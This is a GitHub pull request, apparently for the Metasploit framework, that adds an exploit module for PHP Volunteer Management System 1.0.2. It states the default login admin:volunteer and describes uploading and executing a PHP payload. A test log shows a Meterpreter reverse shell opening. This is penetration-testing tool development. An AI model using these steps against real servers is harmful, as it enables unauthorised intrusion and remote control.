Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add PHP Volunteer Management System exploit #428

Merged
merged 5 commits into from May 30, 2012

Conversation

wchen-r7
Copy link
Contributor

This module exploits a vulnerability found in PHP Volunteer Management System, version v1.0.2 or prior. This application has an upload feature that allows an authenticated user to upload anything to the 'uploads' directory, which is actually reachable by anyone without a credential. An attacker can easily abuse this upload functionality first by logging in with the default credential (admin:volunteer), upload a malicious payload, and then execute it by sending another GET request.

@wchen-r7
Copy link
Contributor Author

Test:
msf exploit(php_volunteer_upload_exec) > exploit

[] Started reverse handler on 10.0.1.3:4444
[
] Found cookie: PHPVolunteerManagent=dknmk2n9e8otjma9umhge53576
[] Login successful with admin:volunteer
[
] Enumerating all the uploads...
[] Uploading PHP payload (1779 bytes)
[
] Enumerating new uploads...
[] Found these new files: ["2012-05-30_09-08-50_1.php"]
[*] Trying file: 2012-05-30_09-08-50_1.php
[
] Sending stage (38791 bytes) to 10.0.1.75
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.75:55857) at 2012-05-30 11:09:09 -0500

meterpreter >

possible when we actually don't have WRITE permission to the
'uploads/' directory.
@wchen-r7
Copy link
Contributor Author

Looks pretty complete now. Merging...

wchen-r7 added a commit that referenced this pull request May 30, 2012
Add PHP Volunteer Management System exploit
@wchen-r7 wchen-r7 merged commit 54e1401 into rapid7:master May 30, 2012
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants